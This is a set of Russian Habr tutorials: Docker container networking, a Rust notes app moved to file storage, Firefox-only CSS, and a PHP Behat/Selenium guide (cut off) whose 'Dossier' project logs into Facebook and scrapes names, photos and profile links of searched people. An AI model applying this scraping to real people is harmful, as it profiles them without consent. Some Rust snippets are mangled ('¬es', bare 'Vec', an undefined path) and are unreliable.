* В кастомных сетях контейнеры могут обращаться друг к другу не только по `IP-адресам`, но также по названиям. Данная возможность называется автоматическим обнаружением сервиса (automatic service discovery). Подключаемся к `alpine1`:
```
docker container attach alpine1
ping -c 2 alpine2
# success
ping -c 2 alpine 4
# success
ping -c 2 alpine1
# success
```
* Пробуем обратиться к `alpine3`:
```
ping -c 2 alpine3
# failure
```
* Отключаемся от `alpine1` и подключаемся к `alpine4`:
```
docker container attach alpine4
ping -c 2 alpine1
# success
ping -c 2 alpine2
# success
ping -c 2 alpine3
# failure
# но
ping -c 2 172.17.0.2 # IP-адрес alpine3
# success
ping -c 2 alpine4
# success
```
* Все контейнеры могут подключаться к Интернету:
```
ping -c 2 google.com
# success
```
* Останавливаем и удаляем контейнеры и сеть `alpine-net`:
```
docker container stop alpine1 alpine2 alpine3 alpine4
docker container rm alpine1 alpine2 alpine3 alpine4
docker network rm alpine-net
```
Это конец первой части.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low) | https://habr.com/ru/post/595687/ | null | ru | null |
# Улучшаем приложение для хранения заметок
В [предыдущей статье](https://habr.com/ru/company/otus/blog/692470/) мы написали простое приложение для хранения заметок в памяти. В данной статье мы доработаем его. Теперь приложение будет хранить заметки в файле. Попутно разберёмся со следующими концепциями:
* процедурный и объектно-ориентированный подходы,
* инкапсуляция,
* структуры и методы,
* модули,
* тестирование.
От процедурного подхода к объектно-ориентированному
---------------------------------------------------
Первая версия приложения была реализована с использованием процедурного подхода. Мы написали четыре процедуры (помимо `main`), которые описывают логику нашего приложения:
* `print_menu()`,
* `read_input()`,
* `show_notes(notes: &Vec)`,
* `add_note(notes: &mut Vec)`.
Такой подход практически напрямую отображает алгоритм работы нашего приложения, за счёт чего отлично подходит для первого знакомства с языком. С другой стороны, процедурный подход имеет свои недостатки. Например, если мы захотим заменить реализацию хранилища заметок с вектора на файл, то нам придётся менять все процедуры, которые принимают вектор и работают с ним. Объектно-ориентированный подход, выглядит немного сложнее для понимания, зато имеет ряд приемуществ.
Объектно-ориентированный подход основан на трёх принципах:
* Инкапсуляция,
* Полиморфизм,
* Наследование.
Обсуждение полиморфизма и наследования оставим для следующих статей, а пока, нам пригодиться только инкапсуляция - возможность скрывать детали реализации за публичным интерфейсом. Под публичным интерфейсом будем понимать набор данных и операций, которые предоставляет объект.
Объектно-ориентированный подход позволяет спрятать детали реализации некоторой сущности (объекта). За счёт этого, код, использующий объект, вынужден полагаться только на публичный интерфейс этого объекта. Таким образом, если менять детали реализации объекта, не меняя его интерфейс, то код, полагающийся только на публичный интерфейс, будет работать, и не потребует каких-либо изменений.
Более того, объектно-ориентированный подход упрощает использование механизма, который значительно снижает вероятность ошибки при изменении кода. Этот механизм называется тесты. Идея довольно проста:
* Пишем код, который проверяет, правильно ли операции из публичного интерфейса выполняют свои задачи. Например, проверяет, что метод добавления заметки, действительно, добавил заметку в конец списка.
* Выполняем данный код при каждом изменении, чтобы убедиться, что ничего не сломали.
План работы
-----------
Для демонстрации описанного выше, выполним следующие шаги:
1. Создадим тип `Notes`, объекты которого будут предоставлять публичный интерфейс с операциями:
* добавление заметки,
* получения списка заметок.
2. Реализуем эти операции используя, как и раньше, вектор для хранения списка заметок в памяти.
3. Напишем тесты, которые будут проверять корректность поведения нашего типа.
4. Изменим код нашего приложения таким образом, чтобы оно использовало объект типа Notes для хранения заметок.
5. Изменим реализацию типа `Notes` так, чтобы для хранения заметок использовался файл, а не вектор. Проверим корректность изменений, выполнив тесты.
Создадим тип Notes
------------------
Один из механизмов создания нового типа в Rust - это структура. Структуры позволяют объединить логически связанные данные (их называют полями) и определить операции над этими данными (методы).
Весь код будем дописывать в файл `main.rs`.
Создадим структуру `Notes`, временно оставив её без полей:
```
/// Структура для хранения заметок.
struct Notes {}
```
Комментарии, которые начинаются с трёх слешей - документационные комментарии. Они описывают сущность, которая расположена следом за комментарием. Инструментарий Rust позволяет генерировать HTML документацию на основе документационных комментариев. Также, их поддерживают большинство сред разработки, отображая текст такого комментария в виде документации к сущности, к которой он относится.
Опишем набор методов этой структуры, с которыми мы будем работать. Реализацию пока опустим:
```
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new() -> Self {
Self {} // В фигурных скобках, обычно, инициализируют поля, но сейчас их пока нет.
}
/// Добавление заметки.
pub fn add(&mut self, new_note: String) {
todo!() // Аварийно завершает работу приложения с сообщением "not implemented".
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
todo!() // Аварийно завершает работу приложения с сообщением "not implemented".
}
}
```
Внутри блока `impl Notes {}` перечислены методы, которые предоставляет наша структура. Методы с модификатором `pub` составляют её публичный интерфейс. Сейчас структура не содержит не публичных (приватных) методов.
1. `new()` будет использоваться для создания объекта типа `Notes`. Этот метод ничего не принимает, так как нам не нужны какие-либо данные для инициализации пустого списка заметок. Метод возвращает объект типа `Notes`, вместо которого используем ключевое слово `Self`. `Self` - это псевдоним для типа, для которого мы описываем методы. В текущем контексте, не имеет значения, что использовать: `Self` или `Notes`. В более сложных случаях, использование `Self` даёт некоторые преимущества. Поэтому, для единообразия, принято использовать `Self` и в простых случаях.
2. `add(&mut self, new_note: String)` будет использоваться для добавления новой заметки. Он принимает два аргумента. Первый из них `&mut self` - мутабельная ссылка на объект структуры. Эта ссылка позволяет нам читать и изменять поля структуры, а также вызывать другие методы, которые принимают ссылку на `self`. Второй аргумент - это новая заметка, которую мы будем добавлять в список.
3. `list(&self) -> Vec` будет возвращать текущий список заметок. Метод принимает ссылку на объект структуры. Ссылки без ключевого слова `mut` называют иммутабельными, так как они не позволяют менять объект на который ссылаются. Тем не менее, мы можем читать данные объекта по иммутабельной ссылке, что нам и требуется для получения списка заметок.
Сейчас реализован только метод `new()`. Остальные используют макрос `todo!()`, который позволяет отложить реализацию метода на будущее. Если макрос `todo!()` будет выполнен, то работа приложения аварийно завершиться с сообщением о том, что приложение пыталось выполнить операцию, которая ещё не реализована. Добавим в нашу структуру `Notes` реализацию функционала хранения заметок в памяти с использованием вектора:
```
/// Структура для хранения заметок.
struct Notes {
data: Vec, // Теперь структура содержит вектор заметок
}
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new() -> Self {
Self { data: Vec::new() } // Инициализируем поле data, записывая в него пустой вектор.
}
/// Добавление заметки.
pub fn add(&mut self, new\_note: String) {
self.data.push(new\_note) // Добавляем заметку в вектор.
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
self.data.clone() // Возвращаем копию списка заметок.
}
}
```
Теперь структура содержит поле data, в котором хранится вектор заметок. Конструкции вида `self.some_name` предоставляет доступ к сущности (полю, методу, ...) с именем `some_name`, относящемуся к структуре, для которой мы реализуем метод. Например, `self.data` даёт нам доступ к вектору, который хранится в структуре `Notes`, позволяя вызывать методы вектора, такие как, уже знакомый нам, `push()`, или метод получения копии вектора `clone()`. Просто вернуть из метода `self.data` не позволяет нам концепция владения, о которой мы поговорим в следующих статьях. Поэтому мы копируем данные вектора.
Изменим логику нашего приложения, чтобы оно использовало нашу новую структуру:
```
fn main() {
// Создаём мутабельный объект типа Notes, в котором будут храниться заметки и
// сохраняем его в переменную `notes`.
let mut notes = Notes::new();
loop {
print_menu();
let command = read_input();
match command.trim() {
"show" => show_notes(¬es.list()), // Для получения списка заметок используем метод list().
"add" => notes.add(read_input()), // Для добавления заметки используем метод add().
_ => break,
}
}
}
fn print_menu() {
println!();
println!();
println!("**** PROGRAM MENU ****");
println!("Enter command:");
println!("'show' - show all notes");
println!("'add' - add new note");
println!("other - exit");
}
fn read_input() -> String {
let mut buffer = String::new();
std::io::stdin().read_line(&mut buffer).unwrap();
buffer
}
fn show_notes(notes: &Vec) {
println!();
for note in notes {
println!("{}", note)
}
}
/// Структура для хранения заметок.
struct Notes {
data: Vec, // Теперь структура содержит вектор заметок
}
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new() -> Self {
Self { data: Vec::new() } // Инициализируем поле data, записывая в него пустой вектор.
}
/// Добавление заметки.
pub fn add(&mut self, new\_note: String) {
self.data.push(new\_note) // Добавляем заметку в вектор.
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
self.data.clone() // Возвращаем копию списка заметок.
}
}
```
Для лаконичности кода, старые комментарии были убраны. Прокомментированы только изменённые строки. Подробнее об изменениях:
* `let mut notes = Notes::new();` Создание объекта notes мутабельным позволяет нам вызывать методы, принимающие первым аргументом &mut self. Без модификатора mut, мы не смогли бы вызывать метод add().
* `show_notes(¬es.list())`. Функция `show_notes()` принимает ссылку на вектор строк. Поэтому мы должны передавать туда ссылку на результат метода `list()`, который возвращает вектор строк.
* функция `add_note()` была удалена за ненадобностью. Весь её функционал теперь выполняет метод `add()` структуры `Notes`.
Запустим код и убедимся, что программа работает корректно:
```
cargo run
```
Прячем детали реализации
------------------------
В текущем коде у нас есть доступ к деталям реализации нашего хранилища из функции main. Например, сразу после создания объекта `notes`, мы можем добавить строку в его вектор:
```
let mut notes = Notes::new();
notes.data.push(String::new());
```
А это именно то, что мы хотели запретить. Ведь, если вектор общедоступен, то при замене его на файл, придётся менять весь код, который этот вектор использует. Тут нам на помощь приходит ещё один механизм Rust - модули.
Модули позволяют объединять логически связанные сущности в группы. В рамках одного модуля приватные данные и методы разных сущностей доступны друг-другу. Поэтому функция `main` имеет доступ к полю `data`, например. Но, если поместить структуру `Notes` в другой модуль, то поле data станет недоступным. Так и поступим:
```
fn main() {
// Добавляем к имени нашего типа Notes модуль notes, в котором его следует искать.
let mut notes = notes::Notes::new();
loop {
print_menu();
let command = read_input();
match command.trim() {
"show" => show_notes(¬es.list()),
"add" => notes.add(read_input()),
_ => break,
}
}
}
fn print_menu() {
println!();
println!();
println!("**** PROGRAM MENU ****");
println!("Enter command:");
println!("'show' - show all notes");
println!("'add' - add new note");
println!("other - exit");
}
fn read_input() -> String {
let mut buffer = String::new();
std::io::stdin().read_line(&mut buffer).unwrap();
buffer
}
fn show_notes(notes: &Vec) {
println!();
for note in notes {
println!("{}", note)
}
}
// Теперь структура содержится в модуле
mod notes {
/// Структура для хранения заметок.
pub struct Notes {
data: Vec, // Теперь структура содержит вектор заметок
}
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new() -> Self {
Self { data: Vec::new() } // Инициализируем поле data, записывая в него пустой вектор.
}
/// Добавление заметки.
pub fn add(&mut self, new\_note: String) {
self.data.push(new\_note)
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
self.data.clone()
}
}
}
```
Теперь, при попытке обратиться к полю `data`, получим сообщение об ошибке: попытка обращения к приватному полю.
Пишем тесты
-----------
Прежде чем мы заменим вектор на файл, напишем тесты, которые проверяют корректность работы структуры `Notes`. В Rust присутствует встроенная система тестирования. Для её использования в модуль notes добавим:
```
#[cfg(test)] // Компилируем этот модуль только при запуске тестов. В самом приложении он не нужен.
mod tests { // Модуль, содержащий тесты.
use super::Notes; // Используем тип notes из родительского модуля.
#[test]
fn add_note() {
// Создадим новый объект типа Notes.
let mut notes = Notes::new();
// Добавляем заметку.
let note = String::from("hello");
notes.add(note.clone());
// Проверяем, добавилась ли заметка.
assert_eq!(¬e, notes.list().last().unwrap());
}
#[test]
fn notes_len() {
// Количество новых заметок
const COUNT: usize = 10;
let mut notes = Notes::new(path);
// Количество заметок до добавления новых.
let initial_size = notes.list().len();
// Для значений counter с 0 до COUNT ...
for counter in 0..COUNT {
// ... добвляем заметку - текстовое представление значения счётчика.
notes.add(counter.to_string())
}
let notes_list = notes.list();
// Проверяем, что добавилось ровно COUNT заметок.
assert_eq!(notes_list.len() - initial_size, COUNT);
}
}
```
Подробнее о коде:
* Тесты пишем таким образом, чтобы они работали и в случае, если после создания нового объекта Notes он уже будет содержать заметки. Загружать из файла, например.
* `#[cfg(test)]` Условная компиляция. Модуль tests будет компилироваться только для запуска тестов. Он не используется для работы приложения и поэтому его не нужно компилировать, когда мы хотим собрать приложение.
* `use super::Notes;` Импорт типа `Notes` из родительского модуля. Тип `Notes` содержится не в модуле `tests`, а во внешнем. Поэтому, для его использования, надо либо каждый раз указывать полный путь `let notes = super::Notes::new();`, либо один раз импортировать, что мы и сделали.
* `#[test]` - помечаем функцию, как тест. Такие функции запускаются при запуске тестов.
* `assert_eq!(a, b)` - утверждение, что a равно b. Если хотя бы одно утверждение в тесте окажется ложным, то тест считается проваленным.
* `const COUNT: usize = 10;` Объявляем внутри функции константу типа `usize` (целое число) равную 10.
* `for counter in 0..COUNT {...}` Запускаем цикл, в котором будет `COUNT` итераций со значениями counter c `0` по `COUNT-1`, включительно.
Теперь, выполнив команду `cargo test`, мы увидим, что оба наших теста завершились успехом:
```
running 2 tests
test notes::tests::add_notes ... ok
test notes::tests::notes_len ... ok
```
Имея в наличии тесты, мы можем спокойно менять реализацию типа `Notes`. Ведь, если мы что-то сломаем, то запуск тестов нам это покажет.
Храним заметки в файле
----------------------
Заменим реализацию `Notes` на следующую:
```
// Структура для хранения заметок.
pub struct Notes {
path: String, // Храним в структуре путь к файлу, с которым будем работать.
}
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new(path: String) -> Self {
Self { path } // Сохраняем путь к файлу с которым будем работать.
}
/// Добавление заметки.
pub fn add(&mut self, new_note: String) {
// Открываем файл
let mut file = std::fs::OpenOptions::new() // Создаём экземпляр типа OpenOptions.
.append(true) // Будем добавлять данные в файл.
.create(true) // Создавать его, в случае отсутствия.
.open(&self.path) // Открываем файл.
.unwrap(); // Аварийно завершаем работу, если не удалось открыть файл.
// Пишем в файл байты строки, предварительно обрезая служебные символы.
file.write_all(new_note.trim().as_bytes()).unwrap();
// Добавляем в файл символ конца строки, по которому будем разделять заметки.
file.write_all(b"\n").unwrap();
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
// Читаем содержимое файла. Если не удалось - используем вместо него пустую строку.
let file\_content = std::fs::read\_to\_string(&self.path).unwrap\_or(String::new());
// Разбиваем содержимое построчно, преобразуем каждую подстроку в строку, и собираем всё в вектор.
file\_content.lines().map(String::from).collect()
}
}
```
После этих изменений компилятор начнёт сообщать об ошибках, связанных с тем, что мы всё-таки, немного изменили публичный интерфейс структуры `Notes`. Метод `new()` теперь принимает путь к файлу, в котором будут храниться заметки. Поправим код, чтобы убрать эти ошибки. Полный код:
```
fn main() {
// Путь к файлу с заметками.
let path = String::from("notes.txt");
// Создаём новый объект типа Notes.
let mut notes = notes::Notes::new(path);
loop {
print_menu();
let command = read_input();
match command.trim() {
"show" => show_notes(¬es.list()),
"add" => notes.add(read_input()),
_ => break,
}
}
}
fn print_menu() {
println!();
println!();
println!("**** PROGRAM MENU ****");
println!("Enter command:");
println!("'show' - show all notes");
println!("'add' - add new note");
println!("other - exit");
}
fn read_input() -> String {
let mut buffer = String::new();
std::io::stdin().read_line(&mut buffer).unwrap();
buffer
}
fn show_notes(notes: &Vec) {
println!();
for note in notes {
// выводим её на экран.
println!("{}", note)
}
}
mod notes {
use std::io::Write;
/// Структура для хранения заметок.
pub struct Notes {
path: String,
}
impl Notes {
/// Создание нового объекта типа Notes.
pub fn new(path: String) -> Self {
Self { path } // Инициализируем поле data, записывая в него пустой вектор.
}
/// Добавление заметки.
pub fn add(&mut self, new\_note: String) {
let mut file = std::fs::OpenOptions::new()
.append(true)
.create(true)
.open(&self.path)
.unwrap();
file.write\_all(new\_note.trim().as\_bytes()).unwrap();
file.write\_all(b"\n").unwrap();
}
/// Получение списка заметок.
pub fn list(&self) -> Vec {
let file\_content = std::fs::read\_to\_string(&self.path).unwrap\_or(String::new());
file\_content.lines().map(String::from).collect()
}
}
#[cfg(test)]
mod tests {
use super::Notes;
#[test]
fn add\_note() {
let path = String::from("test\_notes1.txt"); // Путь к файлу с заметками.
let mut notes = Notes::new(path.clone());
let note = String::from("hello");
notes.add(note.clone());
assert\_eq!(¬e, notes.list().last().unwrap());
}
#[test]
fn notes\_len() {
const COUNT: usize = 10;
let path = String::from("test\_notes2.txt"); // Путь к файлу с заметками.
let mut notes = Notes::new(path);
let initial\_size = notes.list().len();
for counter in 0..COUNT {
notes.add(counter.to\_string())
}
let notes\_list = notes.list();
assert\_eq!(notes\_list.len() - initial\_size, COUNT);
}
}
}
```
Теперь для создания экземпляра `Notes` мы указываем путь к файлу, где будут храниться заметки. Как видно из кода, логика работы приложения не изменилась. Поменялся лишь вызов метода `new()`.
В тестах используются разные файлы, чтобы тесты могли работать независимо.
Запустив тесты, увидим, что они по-прежнему успешно выполняются. А значит, весьма вероятно, что и само приложение работает корректно. Убедимся в этом, выполнив `cargo run`. Теперь, после выхода из приложения, заметки не удаляются, так как они хранятся в файле.
Итог
----
Мы выполнили задачи, поставленные в начале статьи:
1. Создали тип `Notes`, объекты которого предоставляют публичный интерфейс с операциями:
* добавление заметки,
* получения списка заметок.
2. Реализовали эти операции используя, вектор для хранения списка заметок в памяти.
3. Написали тесты, которые проверяют корректность поведения нашего типа.
4. Изменили код нашего приложения таким образом, чтобы оно использовало объект типа `Notes` для хранения заметок.
5. Изменили реализацию типа `Notes` так, чтобы для хранения заметок использовался файл, а не вектор.
6. Проверили работоспособность новой реализации.
Как видно, нам не удалось полностью избежать изменений кода, использующего структуру `Notes`. При переходе от вектора к файлу мы изменили метод `new()`, который является частью публичного интерфейса. В следующих статьях рассмотрим инструменты Rust, которые позволяют отделять часть функционала типа, ограничивая список доступных для использования методов. Это позволяет писать код, не зависящий от конкретного типа используемого объекта, что и называют полиморфизмом. Забегая вперёд, речь пойдёт о трейтах и дженериках.
В заключение приглашаю всех на [бесплатный урок](https://otus.pw/Gz6I/), где узнаем, что Rust - мультипарадигменный современный язык, который можно применять не только для написания бэкендов, но и для фронтенд-разработки. Это позволяет использовать только один язык для создания полноценного веб-приложения. Поговорим о том, что Rust успешно занял развивающуюся нишу компиляции в WebAssembly. Увидим, что Rust может использоваться не только как основной, но и как вспомогательный инструмент для уже существующих веб-проектов.
* [Зарегистрироваться на бесплатный урок](https://otus.pw/Gz6I/) | https://habr.com/ru/post/694096/ | null | ru | null |
# CSS только для Mozilla (в том числе — FireFox)
У верстальщиков до сих пор возникает задача — подключить стили только для определённого браузера. Для IE проблема решаема — мало кто из верстальщиков не знает что такое [conditional comments](http://www.positioniseverything.net/articles/multiIE.html). Но исчезающе малое количество народу знает про [per-site user stylesheet rules](http://lists.w3.org/Archives/Public/www-style/2004Aug/0135). Интересны они тем, что Mozilla FireFox поддерживет их через собственное правило — «@-moz-document».
Вообще, это правило позволяет подключать стили в зависимости от домена, URL или его префикса. Для нас важно, что эти правила увидит только FireFox.
Простой пример использования, из которого становится понятен общий принцип:
`White in FireFox`
У приведённого примера есть недостаток — такой CSS не пройдёт валидацию, что лично для меня определяющей целью не является, но для многих это как скаутский значок.
Принципы фильтрации по URL и доменам так же могут оказаться полезными, например, в случае, если CSS для нескольких поддоменов грузится с одного адреса, где располагается вся статика. О них можно почитать, например, [в архиве W3C](http://lists.w3.org/Archives/Public/www-style/2004Aug/0135).
P.S. Если в статье что-то не так — подскажите. Это мой первый опыт.
*Оригинал статьи [опубликован в моём блоге](http://bolknote.ru/2008/03/14/~1623).* | https://habr.com/ru/post/21828/ | null | ru | null |
# Управляем браузером с помощью PHP и Selenium
Интро
-----
Всем привет! Сегодня я расскажу вам о том, как с помощью PHP можно работать с [Selenium](https://www.seleniumhq.org/).
Чаще всего это бывает необходимо, когда перед вами стоит задача написать автотесты для web интерфейса или свой парсер/краулер.
**С Википедии***«Selenium — это инструмент для автоматизации действий веб-браузера.
В большинстве случаев используется для тестирования Web-приложений, но этим не
ограничивается. В частности, реализация Selenium WebDriver для браузера phantomjs
часто используется как веб-граббер.»*
Мы рассмотрим следующие нюансы:
* Использование [Behat](http://behat.org/en/latest/)/[Mink](http://mink.behat.org/en/latest/) для соединения с Selenium
* Запуск Selenium в docker, и удаленный доступ по [VNC](https://ru.wikipedia.org/wiki/Virtual_Network_Computing)
* Расширим функционал Behat с помощью Extension Feature
Итак, поехали!
1. Готовим Behat и Mink
-----------------------
Behat это php фреймворк, который изначально был создан для поведенческого тестирования (BDD). Он является официальной PHP реализацией более известного продукта [Cucumber](https://cucumber.io/), который часто используется в других языках программирования.
Сам по себе работать с Selenium он не умеет и предназначен больше для написания функциональных тестов без использования браузера.
Устанавливается как обычный пакет:
```
$ composer require "behat/behat"
```
Чтобы научить behat работать с браузером, нам понадобится его расширение Mink, а также бридж для работы с конкретным вендором (в нашем случае это Selenium). Полный список вендоров вы сможете найти на [страничке Mink](http://mink.behat.org/en/latest/). С учетом версий, ваш composer.json должен выглядеть примерно так:
```
"require": {
"behat/behat" : "^3.4",
"behat/mink-extension" : "2.2",
"behat/mink-selenium2-driver" : "^1.3"
}
```
После установки у вас появится *vendor/bin/behat* файл, ответственный за запуск тестов. Если *vendor/bin/behat --version* показало вам установленную версию, то с высокой долей вероятности установка прошла успешно :)
Завершающей фазой является конфигурация
**Создадим основной файл конфигурации behat.yml в корне проекта**
```
default:
# Указываем путь автолоадеру к «контекст» классам
autoload:
'': '%paths.base%/src/Context'
suites:
# объявляем тест сьюты
facebook_suite:
# путь(и) к файлам сценариев, написанных на Gherkin language
paths:
- '%paths.base%/scenario/facebook'
contexts:
# Закрепляем определенный «контекст» класс за сьютом.
# API класса доступно в сценарии
- Dossier\Context\FacebookContext:
# опционально передаем параметры в конструктор класса FacebookContext
base_url: 'https://www.facebook.com/'
user: 'email@gmail.com'
pass: 'password'
vk_suite:
paths:
- '%paths.base%/scenario/vk'
contexts:
- Dossier\Context\VkContext:
# Здесь передаем инстанс класса как зависимость
- "@lookup"
services:
# маппим алиас к классу сервису
lookup: 'Dossier\Context\AccessLimit\Lookup'
extensions:
# Объявляем список расширений, используемых behat
Behat\MinkExtension:
browser_name: 'chrome'
default_session: 'selenium2'
selenium2:
# адрес Selenium сервера. В данном случае стандартный IP докера(в вашем случае может быть localhost или удаленный сервер)
wd_host: 'http://172.17.0.1:4444/wd/hub'
# браузер используемый по умолчанию
browser: chrome
```
Файлы сценариев или (\*.feature файлы) — yml файлы, написанные на псевдо-языке [Gherkin](http://docs.behat.org/en/v2.5/guides/1.gherkin.html), содержат, по сути, набор пошаговых инструкций, которые выполнит ваш браузер в ходе исполнения конкретного сьюта. Подробнее о синтаксисе вы можете узнать, перейдя по ссылке выше.
Каждая такая «инструкция» в свою очередь матчится на методы класса «контекста» с помощью **регулярных выражений**, указанных в аннотациях класса. [Behat\MinkExtension\Context\MinkContext](https://github.com/Behat/MinkExtension/blob/master/src/Behat/MinkExtension/Context/MinkContext.php#L33)
Имена самих методов роли не играют, хотя хорошим тоном будет придерживаться аналогичного аннотациям именования в CamelCase.
Если вам не хватает доступных по умолчанию конструкций Gherkin, вы можете расширить функционал в классах наследниках MinkContext правильно указав аннотации. Эту роль и выполняют «контекстные» классы.
2. Установка и настройка окружения
----------------------------------
Те из вас, кто уже работал с Selenium знают, что после старта теста, на машине запустится браузер и пройдет шаги, указанные в .feature файле.
Запуск Selenium в Docker немного сложнее. Во-первых вам понадобятся Иксы в контейнере, во-вторых – вам захочется увидеть, что же происходит внутри контейнера.
Ребята из Selenium уже обо всём [позаботились](https://github.com/SeleniumHQ/docker-selenium#debugging) и собирать свой контейнер вам не придется. Контейнер со Standalone сервером на борту будет сразу доступен по 5900 порту, куда можно постучаться с любого VNC клиента (например с [этого](https://www.remmina.org/wp/)). Внутри контейнера вас встретит приветливый интерфейс Fluxbox с предустановленным Chrome. В моем случае это выглядит так:
Чтобы прийти к успеху, вы можете запустить докер контейнер, согласно инструкции на сайте:
```
$ docker run -d -p 4444:4444 -p 5900:5900 -v /dev/shm:/dev/shm selenium/standalone-chrome-debug:3.11.0-californium
```
Важный момент, без шаред волюма */dev/shm* хрому не хватит памяти и он не сможет запуститься, поэтому не забываем его указать.
В моем случае используется [docker-compose](https://docs.docker.com/compose/), и YAML файл будет выглядеть следующим образом:
```
version: '2'
services:
selenium:
image: selenium/standalone-chrome-debug:3.11.0
ports:
- "4444:4444"
- "5900:5900"
volumes:
- /dev/shm:/dev/shm
network_mode: "host"
```
Я хочу, чтобы мои тесты заходили на Facebook через VPN, включенный на хост-машине, поэтому важно указать [network\_mode](https://docs.docker.com/compose/compose-file/#network_mode).
Чтобы запустить контейнер, используя compose, выполним следующую команду:
```
$ docker-compose up
```
Теперь пробуем подсоединиться по VNC на localhost:5900 и открыть браузер внутри контейнера. Если вам это удалось и вы видите что-то похожее на скриншот выше — вы прошли этот уровень.
3. От теории к практике. Автоматизируем
---------------------------------------
В примере, приведенном ниже, я буду доставать всех пользователей Facebook по переданным фамилии и имени. Сценарий будет выглядеть следующим образом:
**src/scenario/facebook/facebook.feature**
```
Feature: Facebook Parse
In order parse fb
@first-level
Scenario: Find person in facebook
Given I am on "https://facebook.com/"
When I fill in "email" with "some@gmail.com"
And I fill in "pass" with "somepass"
# Кастомная инструкция
Then I press tricky facebook login button
Then I should see "Поиск"
# Кастомные инстукции
Then I am searching by input params
Then I dump users
```
И соответственно Context класс (констуктор и нэймспейсы опущены)
**src/Context/FacebookContext.php**
```
class FacebookContext extends MainContext
{
/**
* @Then /^I press tricky facebook login button$/
*/
public function pressFacebookButton()
{
$this->getSession()->getPage()->find(
'css',
'input[data-testid="royal_login_button"]'
)->click();
}
/**
* Собираем интересующую меня информацию. Аватар, ссылки, доп. информацию
* @Then /^I dump users$/
*/
public function dumpUsers()
{
$session = $this->getSession();
$users = $this->getSession()->getPage()->findAll(
'xpath',
$session->getSelectorsHandler()
->selectorToXpath('css', 'div._4p2o')
);
if (!$users) {
throw new \InvalidArgumentException("The user with this name was not found");
}
$collection = new UserCollection('facebook_suite');
foreach ($users as $user) {
$img = $user->find('xpath', $session->getSelectorsHandler()
->selectorToXpath(
'xpath',
$session->getSelectorsHandler()->selectorToXpath('css', 'img')
));
$link = $user->find('xpath', $session->getSelectorsHandler()
->selectorToXpath(
'xpath',
$session->getSelectorsHandler()->selectorToXpath('css','a._32mo')
));
$outputInfo = new OutputUserInfo('facebook_suite');
$outputInfo->setName($link ? $link->getText(): '')
->addPublicLinks($link ? $link->getAttribute('href') : '')
->setPhoto($img ? $img->getAttribute('src') : '');
$collection->append($outputInfo);
}
$this->saveDump($collection);
}
/**
* Получаем поисковый запрос и подставляем его в URL
* @Then /^I am searching by input params$/
*/
public function search()
{
if (!Registry::has('query')) {
throw new \BadMethodCallException('No search query received');
}
$criteria = Registry::get('query');
$this->getSession()->visit("https://www.facebook.com/search/people/?q=" . urldecode($criteria->getQuery()));
}
}
```
Часто возникает необходимость в кастомных методах типа FacebookContext::pressFacebookButton, т.к по умолчанию все селекторы в mink умеют искать только по name|value|id|alt|title.
Если вам нужна выборка по другому атрибуту, придется писать свой метод. Кнопка Login у фейсбука имеет атрибут id, но меняет его значение периодически по какой-то своей логике. Поэтому мне и пришлось перепривязаться к data-testid, который, пока что, остается статичным.
Теперь, чтобы всё это завелось, необходимо убедиться, что Selenium запущен и слушает указанный порт.
После чего выполним:
```
$ vendor/bin/behat
```
Внутри контейнера должен запуститься инстанс браузера и пойти выполнять указанные инструкции.
4. Кастомизация behat. Расширения
---------------------------------
В Behat фреймворк встроен прекрасный механизм расширения через *behat.yml*. Обратите внимание, что многие классы фреймворка объявлены как *final*, чтобы умерить соблазн просто их наследовать.
Расширение позволяет дополнять функционал behat, объявлять новые консольные аргументы и опции, модифицировать поведение других расширений и др. Оно состоит из класса имплементирующего
[Behat\Testwork\ServiceContainer\Extension](https://github.com/Behat/Behat/blob/master/src/Behat/Testwork/ServiceContainer/Extension.php) интерфейс (он же указывается в behat.yml) и вспомогательных классов, если нужно.
Я хочу научить behat принимать ФИО искомого человека через новый входящий аргумент *--search-by-fullname*, чтобы в последствие использовать эти данные внутри сьюта.
Ниже привожу код, выполняющий необходимые операции:
**SearchExtension**
```
use Behat\Behat\Gherkin\ServiceContainer\GherkinExtension;
use Behat\Testwork\Cli\ServiceContainer\CliExtension;
use Behat\Testwork\ServiceContainer\Extension;
use Behat\Testwork\ServiceContainer\ExtensionManager;
use Symfony\Component\Config\Definition\Builder\ArrayNodeDefinition;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Definition;
use Symfony\Component\DependencyInjection\Reference;
class SearchExtension implements Extension
{
/**
* Здесь можно модифицировать контейнер со всем Extensions перед выводом
*/
public function process(ContainerBuilder $container) { }
/**
* Уникальный префикс для конфигурации раширения в behat.yml
* @return string
*/
public function getConfigKey()
{
return 'search';
}
/**
* Этот метод вызывается сразу после активации всех расширений, но
* перед вызовом метода configure(). Это позволяет расширениям
* вклиниться в конфигурацию других расширений
* @param ExtensionManager $extensionManager
*/
public function initialize(ExtensionManager $extensionManager){}
/**
* Установка дополнительной конфигурации расширения
* @param ArrayNodeDefinition $builder
*/
public function configure(ArrayNodeDefinition $builder){ }
/**
* Загружает сервисы расширения в контейнер
* @param ContainerBuilder $container
* @param array $config
*/
public function load(ContainerBuilder $container, array $config)
{
$definition = new Definition('Dossier\BehatSearch\SearchController', array(
new Reference(GherkinExtension::MANAGER_ID)
));
$definition->addTag(CliExtension::CONTROLLER_TAG, array('priority' => 1));
$container->setDefinition(
CliExtension::CONTROLLER_TAG .' . search',
$definition
);
}
}
```
В методе *SearchExntesion::load* пробрасывается Сервис *SearchController*, отвечающий непосредственно за объявление параметров и их прием/обработку.
**SearchController**
```
use Behat\Testwork\Cli\Controller;
use Dossier\Registry;
use Dossier\User\Criteria\FullnameCriteria;
use Symfony\Component\Console\Command\Command as SymfonyCommand;
use Symfony\Component\Console\Exception\InvalidOptionException;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
class SearchController implements Controller
{
